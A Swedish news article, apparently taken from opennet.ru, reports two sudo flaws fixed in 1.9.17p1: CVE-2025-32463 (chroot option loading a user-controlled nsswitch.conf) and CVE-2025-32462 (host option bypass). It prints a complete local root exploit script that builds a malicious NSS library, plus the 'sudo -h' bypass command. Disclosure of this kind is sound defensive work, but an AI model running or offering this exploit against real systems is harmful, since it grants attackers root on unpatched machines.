SÄrbarheter i kommandot sudo som kan ge root-rÀttigheter i systemet

I paketet sudo, som anvÀnds för att utföra kommandon Ä andra anvÀndares vÀgnar, har en sÄrbarhet upptÀckts (CVE-2025-32463) som gör att varje icke-privilegerad anvÀndare kan köra kod med root-behörighet, Àven om anvÀndaren inte nÀmns i sudoers-konfigurationen. Problemet pÄverkar distributioner som anvÀnder konfigurationsfilen /etc/nsswitch.conf, exempelvis har sÄrbarheten demonstrerats i Ubuntu 24.04 och Fedora 41.

SÄrbarheten förekommer i standardkonfigurationen och har bekrÀftats i versioner av sudo frÄn 1.9.14 till 1.9.17 (potentiellt pÄverkar alla versioner frÄn 1.8.33). Problemet har ÄtgÀrdats i uppdateringen sudo 1.9.17p1. För att kontrollera statusen för den nya versionen av paketet eller beredningen av en patch i distributioner kan man besöka följande sidor (om sidan inte Àr tillgÀnglig, betyder det att distributionens utvecklare Ànnu inte har pÄbörjat granskningen av problemet): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo och Arch (1, 2).

Problemet orsakas av att nÀr alternativet "-R" ("--chroot") anvÀnds för att köra kommandon i en chroot-miljö med en vald anvÀndare som rotkatalog, laddas filen /etc/nsswitch.conf i kontexten av den nya rotkatalogen, istÀllet för systemkatalogen. Eftersom anvÀndaren kan anvÀnda sin egen katalog som rotkatalog för chroot, kan de placera en konfigurationsfil nsswitch.conf i den. Genom att kontrollera den fil som laddas av NSS (Name Service Switch) kan anvÀndaren lÀgga till instÀllningar som leder till att ytterligare behandlingar anropas. Dessa behandlingar laddas av NSS i form av delade bibliotek, som ocksÄ kan placeras i en katalog under anvÀndarens kontroll. Genom att infoga sitt eget bibliotek kan anvÀndaren fÄ körning av kod med root-behörighet, eftersom NSS-hanteringen sker innan privilegierna slÀpps.

Exempel pÄ exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c <<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}

I versionen av sudo 1.9.17p1 har ytterligare en sÄrbarhet (CVE-2025-32462) ÄtgÀrdats, vilket gör det möjligt att exekvera kommandon med root-rÀttigheter, men som endast uppstÄr i sudoers-konfigurationer dÀr parameter "host" Àr instÀlld pÄ nÄgot annat Àn ALL eller namnet pÄ den aktuella vÀrden. SÄrbarheten orsakas av ett fel som gör att alternativet "-h" ("--host") verkade fungera inte bara i kombination med alternativet "-l" ("--list") för att visa privilegier kopplade till vÀrden, utan Àven vid körning av kommandon. DÀrmed kunde en anvÀndare ange vilken vÀrd som helst vid anrop av sudo och kringgÄ begrÀnsningarna i sudoers-reglerna som Àr kopplade till vÀrdnamnet.

För att utföra en attack mÄste anvÀndaren nÀmnas i sudoers, till exempel om instÀllningarna anger "testuser testhost = ALL", dÄ kunde anvÀndaren "testuser" ange "sudo -h testhost" och köra kommandon med root-rÀttigheter pÄ valfria vÀrdar och inte bara pÄ vÀrden testhost. Konfigurationer med instÀllningar som "testuser ALL = ALL" eller utan konkreta regler för specifika anvÀndare Àr inte sÄrbara.

KĂ€lla: opennet.ru

Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster